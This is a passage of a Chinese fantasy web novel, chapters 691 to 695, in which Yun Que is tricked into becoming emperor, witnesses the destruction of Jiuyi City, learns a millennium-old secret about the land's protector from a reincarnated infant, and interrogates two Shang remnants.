得知黑铁城危机解除,群臣纷纷长出一口气,这次劫难,安然度过。 而最大的功臣,便是平天王。 原本牧青瑶准备设宴,群臣庆贺一番,结果被云缺拒绝,说明天在庆贺,今晚有大事。 至于什么大事,等牧青瑶跟着云缺回到住处才知道。 很大的事。 有生孩子那么大! 久别重逢,自然要尽情缠绵。 折腾到后半夜才消停。 天亮后,云缺本想睡个懒觉,结果大清早就被牧青瑶拉了起来,迷迷糊糊打着哈欠到了金銮殿。 “天气寒冷,夫君披件袍子。” 路上,牧青瑶贴心的给云缺披上一件厚厚的袍子,笑脸上除了昨夜残留的晕红之外,还有一抹狡黠。 云缺也没在意,披着袍子进了大殿。 发现文武百官的目光都变得有点古怪。 直至被牧青瑶拉着来到龙椅近前,云缺才反应过来。 刚想说我不干,云缺发现牧青瑶没穿龙袍,而是一身白裙。 牧青瑶当先拜倒,道:“臣妾,拜见陛下。” 呼啦一声,群臣纷纷拜倒,高呼万岁。 云缺知道中计了,大喊一声: “好哇,你们合伙算计我!我可没穿龙袍,这出儿不算!” 牧青瑶狡黠一笑,道:“陛下将外套翻过来即可。” 云缺狐疑的翻过袍子,好家伙,里面绣着真龙,竟是一件龙袍! 龙袍反穿,聪慧的牧青瑶知道云缺不会同意,于是略施小计,亲手将自家夫君推上了皇位。 第692章 看我睡不睡了你 这下云缺没辙了,反着穿的,它也是龙袍啊! 于是云缺气呼呼的接受了群臣的三叩九拜,当皇帝的第一天就下旨,扣除所有人一个月俸禄。 让你们坑我! 都该罚! 别人扣一个月,梅钱扣一年! 这帮群臣肯定早就串通好了,让梅钱那孙子事先没通知我,罚死他! 周史伯,陈洲骅,上官鸿途,闫罗,花不谢等人全都笑呵呵的点头认罚。 才一个月俸禄算什么,你只要肯当皇帝,咱们不要俸禄都行啊! 梅钱站在大殿里都快哭了。 我冤呐! 昨晚本想给你送信儿来着,结果你抱着媳妇就跑,害我在皇宫外面吹了半宿冷风你都不出来…… 随后周史伯建议,这次改朝换代直接更换国号,询问云缺新国号。 云缺懒得想什么国号,直接定为燕字。 于是戏剧的一幕出现。 灭国整整二十年的大燕,从新出现在云州大地。 仿佛那二十年只是一场梦,梦醒之后,一切如常。 司天监依旧存在,熟悉的面孔一个不少,大战过后,百姓开始重建家园,恢复当年的盛况。 只是少了一个燕太子,多了一位大燕新皇。 在天祈城住了三天,云缺决定启程。 国事交给牧青瑶与首辅处理,白厌统管大军,阜南王也留在了天祈城,合力防备着九夷人的反攻。 找到白别吴动两位门神,云缺笑呵呵先行谢过,封赏了一堆好东西,乐得两人合不拢嘴。 随后话锋一转,云缺道: “二位将军可要尽心尽责的看大门啊,之前我不是皇帝,你们只管皇宫没问题,现在我是一国之君,边关即国门,国门即家门,再有征战,二位可要随军出征才行,要不然就算毁约,十年改为一百年!” 两位大唐的破军强者听完脸都黑了,白来的一堆好处,立刻变得烫手。 偏偏又扔不出去,只能垂头丧气的答应下来。 没辙啊,谁让人家成了皇帝。 算上阜南王,天祈城这边的四品高手达到三位,加上战力堪比四品的大师姐,如今大晋的战力几乎是巅峰程度。 云缺其实最想把寒刀留下,可惜人家是秦皇的人,留不住,也不会听自己的,只能作罢。 辞别众人,云缺就此离开,群臣一直送到皇宫大门。 牧青瑶没来相送。 身体不大舒服。 这三天基本没怎么下床,被云缺蹂躏得疲惫不堪,只想好好歇一歇。 柳真真也留在了天祈城,等云缺走后,她第一个找到牧青瑶,索要东西。 牧青瑶得知对方是少年城的城主,十分亲切的询问要什么,结果人家要的是房子。 后宫里的房子。 以柳真真所言,这叫近水楼台先得月,我先占个后宫的宅子,将来排队等着嫁进云家,我排第一号! 对于这位天真爽快的城主,牧青瑶无奈之余也觉得十分投缘,两人一见如故,情同姐妹。 云缺离开天祈城之前,去了趟学宫。 找到风先生道谢。 云缺从牧青瑶口中得知了自己走后,九夷城主来袭,是风先生出手相救。 这份人情,说什么也得当面道谢。 风先生依旧冷漠,摆手示意无妨,既然之前答应过帮忙,出手只是小事。 谢过之后,云缺拿出了一份重礼。 申猴的紫袍。 看到这件紫袍,风先生的神色变得无比复杂,有无穷恨意,也有大仇得报后的慰藉。 云缺将九笤原储物袋里与雷精有关的灵材都留给了风先生,希望能治好风先生的妻子。 随后离开天祈城。 下一站,九夷城! 留在天祈城的这几天,少年城带来的炼器高手们一刻没闲着,加紧赶工炮弹,此时云缺手里有了上千枚。 以云缺估计,将武神炮的炮弹一次耗光的话,九夷城就算还能存在,估计也得毁掉大半。 云雁飞过邵武国,抵达了海边区域。 远处的海面一片蔚蓝,宛如青空,看不到边际。 “海外,会不会还有其他陆地。” 云缺询问道:“寒将军修为高深,可曾出海探索过。” “没去过,我不会水。”寒刀冷漠的答道。 “不会可以学嘛,只要寒将军游得足够远,也许能从云州另一头回来,要不要试试看。”云缺道。 寒刀冰冷的表情仿佛永远不会融化,目光冷冷,语气森森的道:“不要。” 云缺收回远眺的目光。 这个试验,他现在没时间做,不过云缺有一定把握能成功。 因为云缺猜测,云州,被笼罩在某种力量当中,这份力量将整个云缺包裹起来,形成个看不见的圆形空间,只要从一个方向远离云州,就会从云州对面的位置从新出现。 从鸿影当时走错路的经历,云缺依稀看到些关乎这片天地的隐秘,不过模糊不堪,看不透真相。 散去思绪, 海边出现了一座宏伟的巨城。 九夷城,到了。 将云雁留在远处,云缺独自跳到地面。 九夷城里很古怪,从高空看灰蒙蒙一片,仿佛笼罩着一层云雾,到了地面又没有任何发现,依旧晴空万里。 高大的城门关着,城头有守卫。 云缺离着九夷城很远,没有贸然接近。 来这里,是为了踩盘子。 城主九笤原虽然已经死掉,但星辰殿的殿主还在,无法保证殿主会不会就在这座城里。 如果当真在此,别说云缺,即便寒刀进去也有死无生。 “怨气……” 云缺目光动了动,即便离着极远,凭着猎妖人的敏锐也能感知到极重的怨气。 九夷城里,有大量的怨气存在。 而之前在高空看到的云雾,便是无数冤魂。 城池有大阵笼罩,那些冤魂无法逃离,只能汇聚在城池上空,形成云雾般的景象。 “生灵涂炭之地,这里才是妖巢。” 云缺冷语了一句,转到九夷城另一侧,打算看看这座城池的构造与防御情况。 在九夷城的后方,云缺看到了城墙下有个小小的火堆,一道人影坐在火堆旁,烤着一只兔子。 以云缺的目力,一眼看出了对方的身份。 永平公主,朱静姝! “她怎么在这……” 到处找不到朱静姝,没想到人家回了九夷城。 迟疑了一下,云缺来到城下。 朱静姝正在认真的烤兔子,听到脚步声,回头看了眼,声音平静的道: “你不该来这里。” 云缺走到近前,坐在对面,调侃道:“半年不见,这么生疏了,是不是还在记恨我把你扔下船的事儿,大不了让你扔我一次好了。” “我没那么记仇,况且也跟你不熟,快走吧,再不走,你就走不掉了。”朱静姝始终翻弄着烤兔,四周有冰雪,但火堆下的地面被烤得很热。 “城里什么情况,说实话,我要知道确切消息,九笤原已经被我杀了。”云缺沉声道。 “杀得好……”朱静姝的双手颤抖了一下,继续翻着烤兔道:“这座城就要消失了,我用了你教的法子,你走吧,我要留在这里,跟这座罪恶之城同归于尽。” 云缺目光一沉,敏锐的听觉捕捉到了一种细小的响动。 那是引线被点燃的声音! 烤兔的火焰突然凶猛了一些,火光照在朱静姝的脸上,映出了她解脱般的森冷笑意。 “你把大量硝石搬进了城里?”云缺道。 “没有,那样太过显眼,很难成功,我找到个机会,在装有武神炮炮弹的库房里留下了一条引线,这段时间,我一直在延长引线,终于引出城外。” 朱静姝拿下已经焦糊的野兔,诡异的笑道:“已经有九夷人怀疑我了,所以我只能留在这里,我经常来这里烤些野兔吃,只要我不走远,九夷人就不会来查看,你再不走,就得陪着我一起死。” “多少炮弹!”云缺急急道。 “至少十万。”朱静姝道。 云缺当机立断。 一把抱起朱静姝,直接动用了影步,朝着远处狂奔。 轰隆隆!!!!!!!!!!!!!!! 地动山摇! 剧烈的爆炸声响彻长空! 朱静姝的计划终于成功,九夷城被炮弹的爆炸完全摧毁,方圆万丈之内的地面直接坍塌,遮天蔽日的烟雾久久不散。 过了半晌。 云缺从海水中跃了上来,以气机站在海面。 好险! 晚走片刻,都会被波及。 十万武神炮的炮弹一起爆开,这种威力比一品强者的全力一击都要恐怖。 朱静姝始终被云缺抱着,脸上浮现出惊讶之色。 “四品气息,你居然冲进了破军境!” “破你妹!” 云缺直接将朱静姝丢进海里,破口大骂:“下次你自己找死,能不能别牵连别人!你想害死我是不是!” 朱静姝飘在海水里,感受着刺骨的冰寒,反而开怀的笑了起来。 “早说了让你走,又不怪我,是你自找的,我给自己算过命,命犯天煞孤星,离我近的人都没有好下场。” 云缺一把将朱静姝抓起来,拎着对方的脖领子,咬牙切齿道: “你就不能说清楚!你先说这里要炸了,我肯定扭头就跑!信不信老子睡了你!” 朱静姝仰着白皙的脖颈,冷笑道:“不睡,你就不是个男人。” “我……” 云缺被噎住了。 反将一军! “你当我不敢吗!老子现在是大燕国主,大晋已经改为大燕,想睡谁,朕说了算!”云缺霸气道。 “嘁,只要你不敢睡我,你就不是男人。”朱静姝拍开云缺的手,独自游向岸边。 “好,你狠!有种你去大燕后宫等着,看我到时候睡不睡了你!”云缺气呼呼的踏空而去。 朱静姝游上岸边后,只看到云缺飞向云雁的背影。 这位永平公主的嘴角翘起一抹得逞的笑容,自语道:“对付你,最好用的果然还是激将法,你当我不敢么,大燕后宫,注定有我永平的一席之地。” 云雁遥遥远去。 云缺无奈的叹了口气,怎么到哪都有大网呢,我又不是小鱼。 “怎么不睡了她,一代帝王,被个女人取笑。”寒刀面无表情的道。 云缺心说你耳朵可真好使,那么远都听得到。 “我有皇后了。”云缺随口说了一句。 结果寒刀居然笑了起来,而且是正宗的嘲笑。 “身为燕皇,你觉得一个皇后就够了么,帝王者,三宫六院七十二嫔妃,女人越多,龙气越旺,这一点,你不妨学学陛下。”寒刀道。 这下换成云缺嘲笑了,笑出了猪叫声。 还你们陛下呢,你们秦皇宾妃是多,连个亲生的儿女都没有! 哎不对。 秦皇应该有儿子,就是不知道被扔哪去了,等有空帮大舅好好找找。 转念一想自己没时间啊,嗯,这事儿交给个自己人就行了,最好是那种整天混俸禄的家伙。 就梅钱了! 他最适合找人,给他定个时间限制,三年内找不到秦皇亲儿子,就让他给秦皇当儿子去。 想起梅钱孤苦的童年,云缺愈发感慨,在心里大骂梅钱的亲生老子。 肯定是个混球,亲生的儿子都扔掉,这种家伙以后肯定生不出儿子来,生出来也是别人的种! 第693章 凭我的拳头大 重回大秦,云缺走了之前的老路。 先到大唐地界,去了趟禅杖寺,留下丰厚的香火钱,对一群呼唤着智杖方丈的和尚则直接无视。 又走一遭雷音寺,这里正在重建,一些小和尚与工匠们有说有笑。 在大殿里点了三炷香,不为拜佛,而是祭拜陨落的老方丈。 随后返回大唐皇城。 背着手走在街上,云缺的目的地是顺王府。 这些日子,也不知秦皇来没来认爹,云缺对顺王见到秦皇时的表情十分感兴趣。 大唐皇城人来人往,热闹非凡。 途经一家酒馆,云缺忽然停步,随后以影身之法直接闯了进去,坐在一对兄妹的桌子对面。 “二位,我们真有缘呐,在大唐又见面了。”云缺似笑非笑的道。 对面两人,正是商福商暮兄妹。 少年城一战,两兄妹看似被辰龙拍出城外,生死未卜,后来云缺专门去落点寻找,别说尸体,连血迹都没有。 再次见到云缺,商福的表情变得很不自然,尴尬的笑道: “云、云兄弟!好巧!” 商暮的神色变了变,瞪了云缺一眼没吭声。 “这叫有缘千里来相会,小二!多拿双碗筷来。”云缺笑呵呵的道。 边吃边聊。 “商兄在少年城大难不死,必有后福呀,我还以为你们兄妹命归黄泉,替你们伤心好久。”云缺道。 “侥幸,侥幸嘿嘿!我也觉得肯定必死,没想到能逃出生天,是我们兄妹俩命好,命好!”商福敷衍道。 商暮还是没吭声。 “二位打算去哪里,若是历练,我跟你们一起,正好最近闲得慌,没处可去。”云缺道。 “不历练!我们还有事呢,就不耽搁云兄弟了,这顿饭我们请,随便吃!”商福道。 “好哇,正好饿了,哎对了商兄,你妹子的伤势看着有点重,我认识一位神医,要不要带你们去瞧瞧。”云缺道。 “啊?她没病啊。”商福疑惑道。 “怎么没病,商兄拿我当外人了不是,你妹子都成哑巴了,还说没病呢。”云缺笑道。 “你才是哑巴!”商暮冷着小脸儿道。 “哦,原来没哑啊,那么商家妹妹不妨好好说说,在少年城挨了二品强者一掌,你们为什么没死呢。”云缺似笑非笑的道。 “凭什么告诉你,我们很熟么。”商暮冷声道。 “凭什么,呵呵,当然是我凭我的拳头大呀。”云缺捏了捏拳头,笑呵呵的道。 商福明显紧张起来,他知道云缺的厉害。 商暮则浑然不惧,俏脸上铺着一层寒霜道: “我承认你厉害,但我们也不弱,现在动手,你未必能留下我们,况且赌约已经结束,你已经赢了,老虎归你就是,何必来找我们的麻烦。” 脸色挺冷,但语气明显有示弱的意味。 “商家妹妹这话就说得见外了,你也知道,那辰龙是我的死对头,而他却偏偏救了你们,你们与我的仇家扯上关联,难道我应该视而不见吗。”云缺道。 商福的脸色苍白起来,商暮的浑身开始起伏妖气。 “动手的话,我劝你们尽早打消这个念头,不说我已经是四品破军修为,你们所在之地可是大唐皇城,告诉你们个消息,我是大唐吉王,只要一声令下,你们觉得有几分把握逃出皇城呢。” 云缺笑呵呵的说着,还夹了口鱼肉,大嚼特嚼。 架势已经很明显了,我吃定你们兄妹俩。 商福脸色发苦的道:“妹子,不如告诉他算了,反正也不是什么隐秘。” 商暮则斩钉截铁的道:“不行,这件事就算我死了,也不会对任何外人说起!” 云缺瞄了眼对面这个视死如归的女孩,心里大概猜出了真相。 沉吟了一下,云缺道: “我就喜欢商家妹妹这种脾气!够义气!” 商福大喜,道:“你肯放过我们了?” 云缺呵呵一笑,道: “义气归义气,恩怨归恩怨,一码是一码,来人呐!把他们两个押进天牢!” 外面正好有军兵经过,看到吉王吩咐,二话不说将商福商暮兄妹五花大绑,押进了天牢。 商福连连哀求,商暮狠狠瞪着云缺一副不肯服输的倔强模样。 “把他们两个分开关押,今晚本王要亲自审讯。” 吩咐完,云缺背着手走进皇宫,气得商暮咬着小虎牙,恨不得当场妖化大杀四方。 但她知道逃不掉。 这里是大唐皇城,高手无数,凭他们两兄妹的修为,毫无机会。 黄昏时分, 唐皇白隆佑放下手里的奏折,起身活动一番筋骨,自语道: “今天到此为止,朕乏了。” 旁边的鱼朝连忙伺候,赔笑道:“陛下今晚下榻何处,奴才好早去安排。” “去皇后那边。”白隆佑心情不错的道。 “陛下最近一直宿在皇后寝宫,陛下夫妻和睦,我大唐臣民方可安泰。”鱼朝拍了一记马屁。 “呵呵,是啊,朕最近觉得精力不错,皇后乃是朕的知己,当然要好生爱惜,尤其皇后穿的……” 说了半截,白隆佑脸色一沉,道:“不该问的,以后少问。” 鱼朝连忙告罪,心说我也没问呐,您自己往外说的呀…… 正要往外走,白隆佑忽然觉得右眼皮开跳,于是停住脚步。 “右眼跳祸,朕怎么觉得心神不宁呢……”白隆佑看了看黄昏落日,道:“先不去皇后那边了,再批阅一会儿奏折,等晚些时候再去。” 说着返回龙椅,继续忙碌。 不多时,有人来报,吉王求见。 白隆佑长吁一口气,心说果然预感没错,幸亏没过去皇后那边,这要再被从被窝里揪出来,丢人就丢大了…… 云缺进来后,恭恭敬敬见礼,并献上从路边儿刚买的重礼。 反正卖家说是家传宝贝,百年前的古物件儿,一百两银子一件,空手来不好,于是花钱买了下来,是个挺漂亮的瓷瓶,杀完价二十个铜钱随便挑。 唐皇挺高兴,拉着云缺询问一番,得知九夷城已经被摧毁,白隆佑更高兴了。 云缺也从唐皇口中得知大唐与大秦已经结盟,秦皇亲自抵达,两位皇帝见过面了,立下血誓,百年无战。 得知大唐与大秦就此交好,云缺也算去了件心事。 “皇舅先忙着,我去看望舅母娘娘,上次舅母在天龙城没少出力,我给她也带了礼物。” 云缺说着要去后宫。 “别去!”白隆佑急忙拉住云缺,道:“你舅母最近身体不大舒服,不想被打扰。” “病了?正好我会点医术,我去给舅母娘娘瞧瞧。”云缺说着还要走。 “不用!”唐皇脸都白了,道:“不是身上的病,是心里的病,过阵子想开就好了。” “心病?那更得看看了,心病可是大事,我这人最会开导别人,见到我,舅母娘娘肯定开心!”云缺道。 唐皇一把没拉住,云缺直奔后宫,把唐皇吓得脸都黑了。 我媳妇在屋子里等我睡觉呢,穿得那叫一个妖娆,你去撞见了,我们两口子还活不活了! 鱼朝急忙追上云缺,低声道: “王爷留步,去不得啊!” “为什么呢?”云缺奇怪道。 鱼朝瞄了眼后边的唐皇,也不敢多解释,于是用手开始比划。 “嗯!嗯嗯!” “哦?哦哦!” “嗯嗯!” “哦!!!” 云缺懂了,因为鱼朝比划得十分到位,大致款式都能看得出来,于是忍着笑道: “我去看望白无缺,皇舅保重身体啊!” 唐皇无奈的摆了摆手,长吁一口气。 等云缺走后,唐皇踢了鱼朝一脚,骂道:“该知道的知道,不该知道的少知道点!你要不是太监,今天就阉了你!” “陛下息怒,奴才一直是太监,太监好多年了。”鱼朝无可奈何的道。 慧兰殿,云缺拜见了兰妃,送上一份真正的好礼,此举是来赔罪。 上次抱走白无缺,害得兰妃担惊受怕。 随后云缺以看看表弟为由,又将白无缺抱出了慧兰殿,没走远,就在花园里散步。 “表弟跑得挺快呀,这么小,就这么能跑,将来肯定是干大事的人。” “趋吉避凶,人之常情。” “那你不会帮我也避避凶!好歹兄弟一场,哪有扔掉表哥自己跑的。” “你又没危险,我留在那里才有危险。” “你们果然是分裂出的双魂呐,心有灵犀,提前交易,把我这个外人蒙在鼓里。” “因果循环,玄奥非凡,我们不是交易,而是看到了一些因果。” “行,你们厉害,你们都是超品,就我一个凡夫俗子,这事儿就算了,但你必须给我解释清楚,为什么我是可怜虫!” “可怜虫?何来此言。” “春梅说我是可怜虫,她肯定看到了我身上的因果律,你说,我到底还有什么因果未了。” “不清楚,我和他看到的因果律,不一样,他是邪恶之念,他所看到的因果,我看不到,他还与你说过什么。” “螳螂捕蝉黄雀在后,他说先去杀蝉,再回头杀黄雀,他说我们才是螳螂,云山雾罩的,我听不懂。” “螳螂,蝉,黄雀……好贴切的比喻啊。” “你能听懂是吧,快讲给我听,到底谁是螳螂,谁是黄雀?” 第694章 蝉,螳螂,黄雀 皇宫后花园的小湖边,云缺终于以真挚的感情打动了白无缺,令其说出真相。 而这份感情的表达方式,就是抓着婴孩的小脚,将其悬在水面上,并配上恶狠狠的表情与不说就淹死你的恐吓。 倒吊在水面的婴孩,无奈一叹,幽幽讲述。 “千年前,世间出一奇人,所经之地,枯木逢春百花齐放,他口中的道理,令闻者无不折服,他曾走遍很多国度,被无数国主奉为上宾,战乱之地止戈兴仁,穷苦之地重现生机。” “渐渐有人尊其为夫子,传闻他是天命人,携天命而来造福世间,若能得其机缘,可窥破天地之秘。” “他的名声逐渐传遍云州,许多人寻其论道,探索修炼之途的方向,被指点之人,大多茅塞顿开,修为大进。” “又有传闻,夫子为大道使者,明悟大道真相,乃是金蝉转世,食之可长生不老。” “对于世间真正的强者来说,天命并不存在,若真有天命,那便是天大的机缘。” “越来越强的存在,开始找到他,目的不再为请教,而是战败他,夺其机缘,勘破最后一步。” “对于一品巅峰来说,有什么,是比冲破桎梏更重要的呢。” “于是夫子,成为了一品强者眼中的蝉,天下至强,认为自己是那螳螂,只要吃掉蝉,即可明悟超品真相。” “那一年,又有一位天骄出世,他的光芒,甚至盖过了夫子,他一个人,打败了当年所有一品,被认为是最强的一只螳螂。” “强者恒强,其他螳螂自然要退避,将吞蝉的机会,留给最强之人。” “但他傲气凌霄,不屑于借用夫子之命冲破境界,终于他凭借一己之力突破了一品桎梏,成为我们所有人羡慕的存在,但是弊端很可怕,他疯了,他要毁灭天地。” “这时候夫子提议联手,击杀疯狂的超品,我们只能同意,天地若不存,一品也将陨落。” “那是一场漫长的大战,打了十天还是十年,我已经记不清了,只记得山川崩塌,大河断流,天地变色。” “最后,我们成功了,我们终于以一品巅峰之力,灭杀了一位疯掉的超品强者。” “但是噩梦,才刚刚开始。” “原本伤势最重,最为虚弱的夫子,在我们背后下手,将我们分别斩杀。” “那时候,我们才明白,原来夫子不是蝉,而是黄雀,我们这些一品巅峰,始终是一群傻兮兮的螳螂而已。” “这,就是当年的真相,我也想不通,夫子为何会背叛我们。” “直到转世之后,恶念脱离,我才隐约察觉到一些蛛丝马迹。” 白无缺的声音缓缓停止。 云缺正听得入神,心绪回荡在那场惊天动地的超品之战,结果没声音了。 一低头,发现倒着的娃娃正在吐白沫…… 赶紧把白无缺拎上来,抱在怀里拍了拍,这家伙显然晚上吃多了,呛住了。 缓了一会儿,云缺追问道: “你们打的超品,一定是武夫对吧,我看那武夫肯定与夫子相识,他们在联手演戏,诓你们走进死路。” “恐怕如你猜测,他们,应该的确是旧识。”白无缺苦笑道。 “帮朋友解围,说得过去,但夫子和武夫怎么全都战死了,如果以死为代价,那解围也没了意义,大家最后同归于尽,谁也没占到便宜啊。”云缺不解道。 “是啊,这一点我之前的确想不通,转世后有了一些感悟,你要听吗。”白无缺道。 “当然要听!说书说一半,生儿子没辟眼!”云缺道。 “出家人,不生子。”白无缺高深莫测的笑道。 “在这等我呢,要什么,你说。”云缺道。 “你知道我要什么,拿来。”白无缺伸出胖乎乎的小手。 云缺无奈之下,只好在文殿里把梵钟取了出来,交还给对方。 宝贝虽好,自己用不成,而且这段千年前的隐秘,除了白无缺之外,云缺估计自己没别的地方能听到了。 白无缺抬手,指向小湖对面的一座暖棚,继续说道: “暖棚里有几棵花树长得茁壮,树枝顶到了棚顶,不予理睬的话,今冬那暖棚会被树枝刮破,冰雪落下,暖棚里的花草都会冻死,如果是你的暖棚,你会怎么做。” 云缺想都没想,道:“当然是砍断花树的枝桠,保住暖棚。” “是啊,夫子也是这么做的。”白无缺的声音中带上了一股无奈与感慨。 以云缺的聪慧,立刻明白了暖棚的暗喻。 “莫非夫子在保护云州大地,而超品的出现,会让天地崩塌!所以云州不可出超品!”云缺惊讶道。 白无缺盘坐在岸边,缓缓颔首,道: “尽管没人知道夫子真正的目的,但我猜测,应该是如此,而且转世之后,我能察觉到天地气息已经与千年前有所不同,天地气息,在逐渐变淡。” “变淡?难道天地要毁灭?”云缺道。 “不,不是毁灭,而是雨过天晴。”白无缺说了句晦涩之言。 这次云缺听不懂了。 “什么叫雨过天晴?难道云州之前一直有大雨?” “你有慧根,应该能想通这份隐秘,给你个提示,你觉得云州地图,是什么形状。”白无缺道。 “大致是个圆形……” 云缺脱口而出,随后目光变得凝重起来,低语道:“圆环的大地,风暴之眼……莫非云州以前的版图比现在要大得多,是某种强大的力量磨灭着大地,最后变成如今的版图!” “你果然聪明,这是我轮回千年来才得出的感悟,以我猜测,数千年甚至上万年前,云州要比现在大得多,十倍,甚至百倍都有可能,但这里出现了灭世劫难,大地崩塌,沉入海底。” 白无缺凝重的道:“这里本该成为不毛之地,亿万生灵消失,却在天劫来临时出现了一位强者,以一己之力抗衡天劫,不惜以身殉道,来庇护最后一块云州大地。” “毁灭天地的力量我们无法想象,千万年来始终存在着,而抗衡的力量也始终存在,于是形成了一种平衡,就像深冬里的暖棚,隔绝着严寒侵袭,保护着暖棚里的花草。” “所以生长太快的花草,必须被清除掉,否则暖棚就会破裂,灭世之力还会降临。” “无数年过去,灭世之力逐渐消散,严冬过去,春天来临,暖棚也没有存在的必要了,而如今的云州,正是冬去春来之时。” 云缺的脑海里掀起了一阵阵巨浪,来自白无缺的说法,彻底让云缺震惊。 护佑一洲生灵免于涂炭,这要多么高深的修为,多么无私的大义! “打造暖棚的人,究竟是谁……”云缺喃喃自语。 “没人知道万年前的事,不过,我们心里其实都已经有了答案。” 白无缺仰脸看天,道:“我曾经观看过很多古籍,发现一个有趣的地方,一些残破的古籍有所记载,几乎每隔千年,都有一位夫子传道,犹如草原上不绝的火种,生生不息……” 小湖旁再无声息,两人沉默着,一个望向天空明月,一个望着水里的月影。 谁又能分清,到底哪个是真,哪个是幻。 寒冷的夜风吹过水面,带起层层涟漪,寒冬时节,花草凋零,唯有对面的暖棚里,仍旧花红草绿,生机勃勃。 隐约间,云缺耳边响起了轻微的佛经。 一道道金色的经文从白无缺口中飞出,没入梵钟当中,小巧的梵钟变得金光灿灿。 良久,咏经结束。 白无缺的小脸变得十分苍白,将梵钟递给云缺。 “此物暂且借你一用,记住只可动用一次,三年之内我无法动用任何力量,只能帮你到这里。” 云缺接过梵钟,这件异宝融入了白无缺三年修为之力。 “为什么借我?”云缺不解。 白无缺再次指向暖棚,并未解释。 云缺随之望去。 暖棚里的一角,居然出现一只老鼠,暖棚虽然隔绝了严寒,却挡不住会打洞的老鼠。 “你的因果我看不清,但我能确定,你的因果律与天地有关。” 白无缺打了个大大的哈欠,道:“累了,送我回去,我要吃饭睡觉。” 云缺抱起婴孩,最后看了眼暖棚,大步离去。 “多谢了表弟,你真心善。” “出家人慈悲为怀。” “儒圣砍了你,你不记恨?” “不恨,他已经手下留情,否则我们没人会有转世的机会。” “你可真是个好人呐,要不我陪你一起吃点。” “我太小,只能喝粥。” “吃乃也行呀,我不忌口。” “你走开。” 将白无缺送回慧兰殿,云缺又转到湖边暖棚,看着里面啃食花草的大老鼠,紧锁眉峰。 如果云州是暖棚,那么老鼠洞已经不言而喻。 云州之上,只有一处险地通往神秘的地底世界。 “大渊……” 在暖棚外站了良久,云缺一跺脚,以气机踩死了老鼠,转身离开皇宫。 皇城地牢。 云缺先找到商福。 商福明显焦躁不安,见云缺来了立刻求饶。 “云王爷,你行行好,放了我们兄妹吧,我们又没有大仇。” “怎么没有仇,你们抓了我的老虎,难道还不够吗,别说抓我老虎,拔根虎毛你们都是死罪。”云缺背着手道。 “老虎又不是你爹……”商福嘀咕了一句。 “说对了,老虎的确不是我爹,你想不想知道,我爹是谁。”云缺面色古怪的道。 “你爹谁呀?”商福莫名其妙的道。 “我爹,叫云长吉。”云缺道。 此言一出,商福的脸色明显骤变,脱口道:“少主!” 第695章 大内总管与通房丫鬟 听到少主这个词儿,云缺就此得知,云长吉果然来自大商。 而且还是大商皇族。 随后云缺的心情变得复杂起来。 云长吉连亲生儿子都可以抛弃,当做容器承接巫神降临,却在武神降临之际保护了商福与商暮两个大商遗民。 云长吉对云缺是残忍无情的,对商福与商暮却充满善意。 这一点,再次让云缺想起了燕太子。 不择手段,宁可祸乱天下,也要恢复大燕的荣光。 这种人……果然是混蛋! “你、你真是少主?”商福有些怀疑的道。 “我的确是云长吉之子,但我没有那个冷血的爹,我也不是你们的少主。”云缺冷声道。 “主上的名讳没人知道,你一定是少主!少主在上,受属下一拜!” 商福刚要磕头,就被云缺一脚踹了出去。 “听不懂人话是不是,我不是什么少主,别把我和大商扯上关联。”云缺道。 商福急忙爬了起来,泪流满面的道: “少主!我们大商没人了啊!这么多年我和商暮始终在寻找大商遗民,主上神龙见首不见尾,我们平常根本见不到,既然少主出世,大商定可再现辉煌!” “云长吉死了,你们死心吧。”云缺道。 “啊?主上已经陨落!那少主更应该扛起大旗,带领我们一往直前!”商福殷切道。 “你脑子是不是进水了?”云缺气呼呼的道:“你,商暮,我,总共三个人,咱们三个找个犄角旮旯重建大商?玩过家家呢!” 商福冷静了下来,挠头道:“少主不是少年王么,少年城那么多人,只要少主挑明身份,他们肯定都会帮忙的!” “少年城是大秦地界,我为了个虚无缥缈的大商,还得跟秦皇抢人是不是,你难道忘了是谁覆灭的妖武大商。”云缺没好气的道。 “没忘!就是仙武大秦!挖大秦墙角,我觉得再合适不过了!”商福道。 “合适个屁!”云缺叹了口气,拿商福这队兄妹有点没辙了。 算起来,云缺自己有着大商血脉,这一点无法更改,谁让云长吉是大商皇族呢。 而商福商暮,也算云缺的子民,而且这俩兄妹堪称珍稀品种,估计整个云州找不出几个大商遗民。 “把大商放一边,先说说你们身上的妖魂,为什么可以更换。”云缺问道。 “天赋!大商遗民的天赋!” 商福如实道:“唯有这等天赋,才是真正的大商遗民,否则其他妖武者只要伴生妖灵死掉,本体也会随之死亡,我们则不同,伴生妖灵如果战死,我们只要服用些丹药稳固元神,还能继续寻找新的妖灵。” “这么说,只要元神强大的话,即便不用丹药,也没什么问题了。”云缺道。 “确实如此,不过我和商暮修为有点低,妖灵战死后必须服用主上赐下的丹药,否则容易元神崩塌,像少主这么高的修为,应该用不到丹药的。”商福如实道。 寻找商福商暮兄妹,云缺就为了得知这个消息。 听完后,云缺苦笑了一声。 难怪自己可以拥有第二把妖刀,与月魁融合,原来自己天生就有大商遗民的天赋。 “丹药呢,拿来我瞧瞧。”云缺道。 “在商暮手里呢,她心细,贵重东西都由她来保管。”商福道。 “你们身上还有什么好东西。”云缺道。 “一些法宝法器,都是主上赐下的,哦对了!还有大商的传国玉玺!是块玉佩形状,商暮贴身戴着呢。”商福道。 云缺不在理睬商福,走出监牢,来到关押商暮的牢房。 看到云缺进来,商暮冷眼相对,一语不发。 “把你们服用的丹药拿出来。”云缺以命令的语气道。 商暮恶狠狠的瞪着云缺,沉默半晌,还是拿出了一个丹瓶,扔了过去。 云缺打开闻了闻,直接收进储物袋。 药效是稳固元神用的,很珍贵,但比不得门六的手指头,而且味道与门六有些共同之处。 应该是云长吉暗算门六的时候,从门六身上取下了神木枝桠炼制而成。 “银票,交出来。”云缺伸出一只手。 商暮狠狠喘了几口气,拿出所有银票。 “法器,交出来。” 商暮瞪着眼睛照办。 “还有法宝。” 啪一声,商暮直接将自己的储物袋摔在地上,龇起小虎牙,越来越像一只困兽。 “脾气还不小呢,我最喜欢骨头硬的囚犯,上刑的时候,最有意思了。” 云缺笑着捡起储物袋,在手里掂了掂,道:“对了,你想不想知道我最早是干什么的。” “不想!”商暮倔强道。 